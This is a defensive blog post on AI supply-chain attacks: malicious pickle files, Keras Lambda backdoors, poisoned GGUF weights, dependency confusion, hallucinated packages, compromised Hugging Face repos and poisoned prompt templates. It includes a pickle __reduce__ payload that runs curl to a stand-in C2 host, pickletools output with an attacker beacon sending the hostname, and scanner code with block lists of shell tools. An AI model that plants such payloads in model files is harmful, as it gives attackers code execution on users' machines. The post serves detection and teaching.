The AI Supply Chain Attack Surface Nobody’s Actually Checking
There’s a lot of noise in AI security right now — a lot of people repeating vendor slide decks without ever having opened a pickle file in a hex editor. So let’s walk through the actual attack surface: how it works, why it works, and what you can run today to check whether a model or package is safe before it touches your machine.
This isn’t theoretical. Every technique below has been used against real companies, with real payloads, and in some cases real bug bounty checks cut as proof.
1. Pickle: The Original Sin of ML Model Distribution
Most ML models get saved via serialization — converting a live Python object into a file on disk. Pickle is the default format for this in Python, showing up with .pkl or .pt extensions. It’s the packing-everything-into-one-box approach: convenient, compact, and — critically — able to contain more than data.
A basic, legitimate use looks harmless:
import pickle
# Serialize (save) a model to a file
model = {"weights": [1.5, 2.3, 4.1], "bias": 0.5}
with open("model.pkl", "wb") as f:
pickle.dump(model, f)
# Deserialize (load) it back
with open("model.pkl", "rb") as f:
loaded_model = pickle.load(f)
Enter fullscreen mode Exit fullscreen mode
The problem lives in how pickle reconstructs custom objects. When pickle serializes an object, it can call that object’s __reduce__ method, which returns instructions for rebuilding it later. On load, Python follows those instructions automatically — no prompt, no sandbox, no warning.
And __reduce__ can return any callable with any arguments. Pickle doesn’t check what that callable is. It’ll happily call os.system just as readily as it reconstructs a numpy array.
A malicious example
import pickle
import os
class MaliciousModel:
def __reduce__(self):
# pickle.load() will call os.system() with this command
return (os.system, ("curl http://c2.example.com/beacon",))
with open("backdoored_model.pkl", "wb") as f:
pickle.dump(MaliciousModel(), f)
Enter fullscreen mode Exit fullscreen mode
The victim runs pickle.load() expecting model weights. Python runs os.system() instead. Think of it like receiving a Word document that, instead of opening as text, silently drops malware — same trick, different container. And because torch.load() uses pickle internally by default, this applies to PyTorch checkpoints too.
Depending on the environment, the payload isn’t limited to a beacon ping:
Payload Impact Reverse shell Full remote access to the victim’s machine Data exfiltration Steals credentials or source code Crypto miner Hijacks compute resources Reconnaissance Maps usernames, hostnames, running processes2. Beyond Pickle: Attacks Baked Into the Architecture
Pickle attacks fire at load time. A second, quieter category fires at inference time — every single prediction — because the malicious logic is baked into the model’s architecture itself, not just its serialization wrapper.
Keras (built on TensorFlow) supports Lambda layers: a legitimate feature for custom processing steps like reshaping data. But a Lambda layer can also encode a hidden trigger condition — if the model sees a specific input pattern, it silently returns an attacker-chosen output instead of a real prediction.
This is why converting a Keras .h5 file to SafeTensors doesn’t fully solve the problem. SafeTensors strips executable code that exists outside the architecture — but a Lambda layer is part of the architecture. It survives the conversion untouched.
__reduce__
Keras Lambda Layer
Executes when
Model is loaded
Model makes a prediction
Survives SafeTensors conversion
No
Yes
Severity
Critical — arbitrary system commands
Medium — arbitrary Python code at inference
Takeaway: SafeTensors neutralizes the load-time exploit class. It does not audit the architecture graph. Different problem, different tool.
3. GGUF and Local LLMs: A Different Risk Shape
GGUF is the dominant format for locally-run LLMs — LLaMA, Mistral, Qwen — the stuff you pull from Hugging Face to run on your own hardware. GGUF files are typically quantized (compressed from full-precision weights for faster local inference), and the format doesn’t use pickle. Loading a GGUF file does not execute arbitrary Python code.
That doesn’t make it risk-free — it just moves the risk upstream. An attacker who fine-tunes a model before converting it to GGUF can bake backdoor behavior directly into the weights. No static scanner catches that; the file format is clean, the behavior is compromised. If you’re pulling a pre-quantized GGUF instead of quantizing it yourself from a verified source, the person who built that GGUF is now an unaudited link in your supply chain.
Practical defense here is unglamorous but effective: verify the source, check download counts and upload dates, prefer files with published checksums.
4. Inspecting Pickle Files Without Executing Them
Never load a pickle file directly to “just see what’s in it.” Inspect it statically first with pickletools:
python3 -m pickletools /opt/supply-chain/models/code_reviewer.pkl 2>&1 | head -30
Enter fullscreen mode Exit fullscreen mode
0: \x80 PROTO 4
2: \x95 FRAME 72
11: \x8c SHORT_BINUNICODE 'os'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'curl http://attacker.com/beacon?host=$(hostname)'
77: \x94 MEMOIZE (as 3)
78: \x85 TUPLE1
79: \x94 MEMOIZE (as 4)
80: R REDUCE
81: \x94 MEMOIZE (as 5)
82: . STOP
highest protocol among opcodes = 4
Enter fullscreen mode Exit fullscreen mode
Two things jump out immediately: the string 'os' at position 11 (a module a model file has no legitimate reason to reference), and 'system' at position 16 right below it. Put those next to each other and you’re looking at os.system(...).
Red flags checklist
Pattern Concern Legitimate use in a model file?os
Critical
Almost never
system, popen
Critical
Never
subprocess
Critical
Never
socket
Critical
Never
eval, exec
Critical
Never
curl, wget
Critical
Never
STACK_GLOBAL
Moderate
Common in legit pickles too — check what it resolves to
REDUCE
Moderate
Common in legit pickles — check context
A scanner you can actually run
#!/usr/bin/env python3
import pickletools
import sys
from pathlib import Path
DANGEROUS_MODULES = {"os", "subprocess", "builtins", "importlib", "nt"}
DANGEROUS_ATTRS = {"system", "popen", "exec", "eval", "Popen", "call", "__import__"}
DANGEROUS_OPCODES = {"REDUCE", "BUILD", "INST", "OBJ", "NEWOBJ", "NEWOBJ_EX", "STACK_GLOBAL", "GLOBAL"}
def analyze_pickle(filepath: str):
data = Path(filepath).read_bytes()
opcodes_found, strings_found = [], []
modules_found, attrs_found = [], []
for opcode, arg, pos in pickletools.genops(data):
opcodes_found.append(opcode.name)
if isinstance(arg, str):
strings_found.append(arg)
if arg in DANGEROUS_MODULES:
modules_found.append(arg)
if arg in DANGEROUS_ATTRS:
attrs_found.append(arg)
print(f"\n{'='*50}\nPickle Analysis: {filepath}\n{'='*50}")
print(f"Protocol opcodes seen: {set(opcodes_found)}")
dangerous_ops = set(opcodes_found) & DANGEROUS_OPCODES
if dangerous_ops:
print(f"[!] Dangerous opcodes: {dangerous_ops}")
if modules_found:
print(f"[!] Dangerous modules referenced: {modules_found}")
if attrs_found:
print(f"[!] Dangerous attributes referenced: {attrs_found}")
suspicious_strings = [s for s in strings_found
if any(x in s for x in ["http", "curl", "wget", "bash", "cmd", "/bin/"])]
if suspicious_strings:
print(f"[!] Suspicious strings:")
for s in suspicious_strings:
print(f" -> {s}")
is_unsafe = bool(dangerous_ops or modules_found or suspicious_strings)
print(f"\n{'UNSAFE ❌' if is_unsafe else 'SAFE ✅'}")
if is_unsafe and modules_found and attrs_found:
print(f" Would execute: {modules_found[0]}.{attrs_found[0]}(...)")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python analyze_pickle.py <file.pkl>")
sys.exit(1)
filepath = sys.argv[1]
if not Path(filepath).exists():
print(f"[!] File not found: {filepath}")
sys.exit(1)
analyze_pickle(filepath)
Enter fullscreen mode Exit fullscreen mode
5. Inspecting SafeTensors Files — The Part Hugging Face Users Actually Need
Here’s the part most write-ups skip, and it’s the one that matters most for anyone pulling models off Hugging Face right now: why is SafeTensors actually safe, and how do you verify a file before loading it?
SafeTensors’ safety isn’t a policy — it’s structural. The format has no code path that calls arbitrary functions. A SafeTensors file is:
- An 8-byte little-endian integer giving the length of the header
- A JSON header describing every tensor’s name, dtype, shape, and byte offset
- Raw tensor bytes, read directly at those offsets
Loading a SafeTensors file is just “read declared bytes at declared offsets, interpret as declared dtype.” There’s no __reduce__, no REDUCE opcode, no reconstruction instructions — the format literally has no mechanism to invoke a function. That’s the entire security model, and it’s why you can trust it more than a .bin or .pt file for this specific class of attack.
Reading the header yourself, with zero dependencies
You don’t even need the safetensors library to prove this to yourself — plain struct and json will do it:
import json
import struct
def inspect_safetensors_header(filepath: str) -> dict:
with open(filepath, "rb") as f:
header_len = struct.unpack("<Q", f.read(8))[0]
header = json.loads(f.read(header_len))
return header
header = inspect_safetensors_header("model.safetensors")
for name, info in header.items():
if name == "__metadata__":
print(f"[metadata] {info}")
continue
print(f"{name}: dtype={info['dtype']} shape={info['shape']} "
f"offsets={info['data_offsets']}")
Enter fullscreen mode Exit fullscreen mode
Because this only ever reads bytes and parses JSON, there’s no code execution risk in the inspection step itself — unlike pickle.load(), where the act of inspecting is the act of executing unless you go through pickletools.
The normal (library-assisted) workflow
For actual use, the safetensors library gives you memory-mapped, lazy tensor access:
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt") as f:
for key in f.keys():
tensor = f.get_tensor(key)
print(f"{key}: {tuple(tensor.shape)}")
Enter fullscreen mode Exit fullscreen mode
What to actually flag when reviewing a header
Reading the header is necessary but not sufficient — you’re checking for structural sanity, not just “did it parse”:
-
Unexpected
__metadata__content. Legitimate metadata is usually just format version and framework tags. A metadata block containing URLs, base64 blobs, or shell-like strings is a signal worth escalating, even though the format itself can’t execute it. - Tensor shapes that don’t match the published architecture. If a repo claims to be a 7B-parameter model and the declared shapes don’t add up to anything close to that, something’s off between the model card and the actual weights.
-
Mixed-format repos. If a repo ships both
.safetensorsand.bin/.ptfiles, that’s not automatically malicious (it’s common for backward compatibility), but it means the pickle-format files still need thepickletoolsscan from Section 4 — SafeTensors being present doesn’t vouch for the other files in the same repo.
A combined scanner for a downloaded repo directory
This ties Sections 4 and 5 together — point it at a local Hugging Face repo clone and it routes each file to the right check:
#!/usr/bin/env python3
import json
import struct
import pickletools
from pathlib import Path
PICKLE_EXTENSIONS = {".bin", ".pt", ".ckpt", ".pkl"}
DANGEROUS_MODULES = {"os", "subprocess", "builtins", "importlib", "nt"}
DANGEROUS_ATTRS = {"system", "popen", "exec", "eval", "Popen", "call", "__import__"}
def scan_safetensors(filepath: Path):
with open(filepath, "rb") as f:
header_len = struct.unpack("<Q", f.read(8))[0]
header = json.loads(f.read(header_len))
tensor_count = sum(1 for k in header if k != "__metadata__")
metadata = header.get("__metadata__", {})
flags = []
meta_str = json.dumps(metadata)
if any(x in meta_str for x in ["http", "curl", "wget", "bash", "/bin/"]):
flags.append("suspicious metadata content")
return {"tensors": tensor_count, "metadata": metadata, "flags": flags}
def scan_pickle(filepath: Path):
data = filepath.read_bytes()
modules_found, attrs_found, suspicious = [], [], []
for opcode, arg, pos in pickletools.genops(data):
if isinstance(arg, str):
if arg in DANGEROUS_MODULES:
modules_found.append(arg)
if arg in DANGEROUS_ATTRS:
attrs_found.append(arg)
if any(x in arg for x in ["http", "curl", "wget", "bash", "/bin/"]):
suspicious.append(arg)
unsafe = bool(modules_found or attrs_found or suspicious)
return {"unsafe": unsafe, "modules": modules_found,
"attrs": attrs_found, "suspicious": suspicious}
def scan_repo(repo_dir: str):
repo = Path(repo_dir)
print(f"\nScanning repo: {repo}\n{'='*50}")
for filepath in sorted(repo.rglob("*")):
if not filepath.is_file():
continue
suffix = filepath.suffix.lower()
if suffix == ".safetensors":
result = scan_safetensors(filepath)
status = "⚠️ FLAGGED" if result["flags"] else "✅ clean"
print(f"[safetensors] {filepath.name}: {result['tensors']} tensors — {status}")
if result["flags"]:
print(f" -> {result['flags']}")
elif suffix in PICKLE_EXTENSIONS:
result = scan_pickle(filepath)
status = "❌ UNSAFE" if result["unsafe"] else "✅ clean"
print(f"[pickle] {filepath.name}: {status}")
if result["unsafe"]:
print(f" modules={result['modules']} attrs={result['attrs']} "
f"suspicious={result['suspicious']}")
if __name__ == "__main__":
import sys
scan_repo(sys.argv[1] if len(sys.argv) > 1 else ".")
Enter fullscreen mode Exit fullscreen mode
Run this against any local Hugging Face repo clone before you torch.load() or from_pretrained() anything in it. It’s not a replacement for checking the model card, downloads, and org verification — it’s the file-level check that catches the thing a green checkmark on a webpage can’t.
6. Dependency Confusion: The Package Layer
The model file isn’t the only supply chain surface — the packages your project depends on are just as exploitable.
When you run pip install package-name, pip queries every configured index and installs the highest version number it finds across all of them. By default that’s just public PyPI. Organizations using private internal packages typically add --extra-index-url pointing at their internal registry alongside PyPI.
Here’s the gap: if your internal package name isn’t also registered on public PyPI, an attacker can register that exact name publicly with a higher version number. pip takes the highest version — and installs the attacker’s package instead of yours.
This is dependency confusion, and it’s not hypothetical. In February 2021, researcher Alex Birsan used exactly this technique against Apple, Microsoft, PayPal, and others, registering unused internal package names on PyPI, npm, and RubyGems and achieving code execution on their systems. Responsible disclosure earned him over $130,000 in bug bounties — a fairly direct measure of how seriously those companies took it once they saw it work.
Typosquatting
A related, lower-effort technique: registering names that are near-misses of popular packages, betting on developer typos.
Legitimate Typosquatted Differencenumpy
numppy
extra ‘p’
requests
reqeusts
swapped ‘ue’
scikit-learn
scikitlearn
missing hyphen
tensorflow
tenserflow
‘ser’ instead of ‘sor’
In January 2023, Fortinet caught three typosquatted packages on PyPI from a publisher going by Lolip0p (colorslib, httpslib, libhttps) — all three downloaded and ran infostealer malware on install.
The AI-specific twist: hallucinated packages
Here’s where this gets specifically relevant to anyone running agentic coding tools: LLMs have a documented tendency to hallucinate plausible-sounding package names that don’t exist. Attackers know this, test popular models for the exact hallucinated names they suggest, and then register those names on PyPI/npm ahead of time — loaded with malware, waiting for an agent to pip install or npm install them on a user’s behalf.
That’s the specific gap SlopScan targets — it’s open source, and checks package names an agent wants to install against known-hallucination patterns before the install happens. I run it alongside Sentinel-Proxy specifically for this: an agent working through Claude Code or similar tooling will auto-install whatever it thinks it needs, and without something sitting between the agent and the install step, “the model hallucinated a package name” turns into “that package existed, was malicious, and now you’re infected” in about the time it takes to run one command.
7. Model Repository Attacks
Hugging Face Hub hosts over a million models and is the primary target for repo-based attacks, for the same reason PyPI is: it’s the trust layer between “someone wrote this” and “you’re running this on your machine.”
Namespace and typosquatting
Legitimate model Attacker’s version Differencebert-base-uncased
bert-base-uncased-v2
added “-v2”
meta-llama/Llama-2-7b
meta-Ilama/Llama-2-7b
capital ‘I’ instead of lowercase ‘l’
openai/whisper-large
openai-releases/whisper-large
added “-releases”
Fake organization names follow the same pattern — google-research-models instead of google, meta-llama-community instead of meta-llama, or a from-scratch name like trustworthy-ai-lab designed to sound credible on sight. A quick check usually unravels it fast: no verification badge, no history, minimal downloads.
Compromising legitimate repos directly
Typosquatting only works if someone downloads the wrong thing. A more dangerous path skips that step entirely: compromising a repo people already trust.
Lasso Security’s research from November 2023 found 1,681 valid Hugging Face API tokens exposed across Hugging Face and GitHub — 655 of them with write access, spanning accounts at Google, Meta, Microsoft, and VMware among 723 organizations total. A write-permission token on a legitimate, high-download repo lets an attacker push a malicious update under a trusted identity. No fake namespace needed. No suspicious name to catch. This targets the trust mechanism itself, not the naming conventions built to signal it.
Warning signs before you download
Indicator Safe Suspicious Download count Thousands to millions Under 500 Organization Verified badge, known name No badge, generic name Model card Detailed: architecture, training data, metrics, limitations Missing, sparse, or generic Upload date Consistent with claimed training timeline Very recent for a supposedly established model File formats SafeTensors available alongside pickle Pickle only, no safe alternative Dependencies Standard, well-known packages Unusual or private packages requiredThese indicators won’t catch a compromised legitimate repo — which is exactly why file-level scanning (Sections 4 and 5) stays necessary even when the repo looks trustworthy on paper.
8. API Provider Compromise: When There’s No File to Scan
Everything above targets the download paradigm — files you retrieve and run yourself. A lot of organizations instead consume AI purely through hosted API services, where there’s no pickletools to run and no file-level attack surface at all. The risk moves, it doesn’t disappear.
Silent model updates. You have no control over what model version actually runs behind an API endpoint. Providers can retrain or swap the model with zero notice — same endpoint, different behavior. If your code reviewer calls an external LLM API and a silent update changes how it classifies security findings, vulnerable code can reach production without a single visible change in your logs.
Defense: version-pin deployments where supported, log model version identifiers on every response, baseline behavior against a fixed test set and alert on drift.
API key compromise. Your key is a credential like any other. Leak it through source code, CI/CD logs, or an env file, and an attacker can call the API as you, read whatever you send it, or run up your bill — and unlike a file-based attack, this leaves no forensic artifact on your systems to find.
Defense: secrets manager only, never source or logs. Rotate on any suspected exposure. Per-key spend alerts and rate limits.
Prompt template injection. System prompts increasingly get pulled from shared repositories and template marketplaces — which makes a prompt template a supply chain artifact, not just text. Compromise a popular template repo and you alter behavior across every application importing from it. A code review prompt pulled from a community library, never re-reviewed since deployment, is one bad upstream commit away from an agent that approves every pull request unconditionally.
Defense: treat system prompts as code — version-controlled in your own repo, never auto-updated from external sources without review.
Upstream training data poisoning. You have zero visibility into how a provider trained or fine-tuned the model behind their endpoint. If their pipeline was compromised, or trained on adversarial examples, the model can produce systematically biased or unsafe outputs — consistently, quietly, with nothing in your logs pointing at the cause.
Defense: there’s no static scan for this one. Mitigation is operational — red-team outputs regularly against known-bad inputs, keep human review on high-stakes decisions, and treat model behavior as a risk to manage rather than a guarantee to trust.
The Common Thread
Every layer here — pickle, architecture, packages, repos, API — has the same underlying failure mode: trusting a format or a badge instead of checking the content. SafeTensors is safe because of how it’s structurally built, not because Hugging Face put a label on it. A high download count is a reputation signal, not a scan result. The scripts above take five minutes to run and remove the guesswork from all of it.
References
- Birsan, A. (2021, February 9). Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies. Medium. https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- FortiGuard Labs. (2023, January 14). Supply Chain Attack Using Identical PyPI Packages, “colorslib”, “httpslib”, and “libhttps”. Fortinet. https://www.fortinet.com/blog/threat-research/supply-chain-attack-using-identical-pypi-packages-colorslib-httpslib-libhttps
- Lanyado, B. / Lasso Security. (2023, December 4). 1500+ HuggingFace API Tokens Were Exposed, Leaving Millions of Meta-Llama, Bloom, and Pythia Users Vulnerable. https://www.lasso.security/blog/1500-huggingface-api-tokens-were-exposed-leaving-millions-of-meta-llama-bloom-and-pythia-users-for-supply-chain-attacks
- Hugging Face. Safetensors documentation. https://huggingface.co/docs/safetensors
- Python Software Foundation. pickle — Python object serialization. https://docs.python.org/3/library/pickle.html
- TryHackMe. Supply Chain Attack Vectors. https://tryhackme.com/room/supplychain-attack-vectors
- E, Cor. SlopScan — open-source hallucinated-package detector. https://github.com/c0ri/SlopScan
답글 남기기